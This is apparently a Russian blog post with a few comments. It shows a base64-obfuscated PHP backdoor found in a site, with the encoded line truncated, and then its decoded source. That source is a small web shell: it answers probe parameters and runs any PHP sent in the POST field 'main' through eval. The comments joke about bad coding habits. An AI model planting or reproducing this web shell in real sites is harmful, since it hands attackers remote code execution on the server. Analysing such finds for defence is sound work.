<?php eval(base64_decode("aWYoaXNzZXQoJну и т.д.")); ?>
После декодирования оно выглядит так:
if(isset($_GET["part"])) { if($_GET["part"]=="sec") echo "partgood"; } else if(isset($_POST["ggg"])) { if($_POST["ggg"]==1) echo "ok11"; } else if(isset($_POST["main"])) { eval(urldecode($_POST["main"])); }
Оригинал этой записи. Комментировать можно тут или там.
Любые материалы из этого блога запрещается использовать на сайте livejournal.ru в любой форме и любом объёме
Tags:
no subject
no subject
no subject
no subject
А в коде проверялось, if base64(GET)=='xxxxx' elif base64(GET)=='yyyyy' elif base64(GET)=='zzzz' и так далее до упора. Аналогично разбирались урлы дальше. Поубывав бы.
Не eval(POST), конечно.
no subject
А вот за многократное применение base64() надо бить валенком.
no subject
no subject
no subject
no subject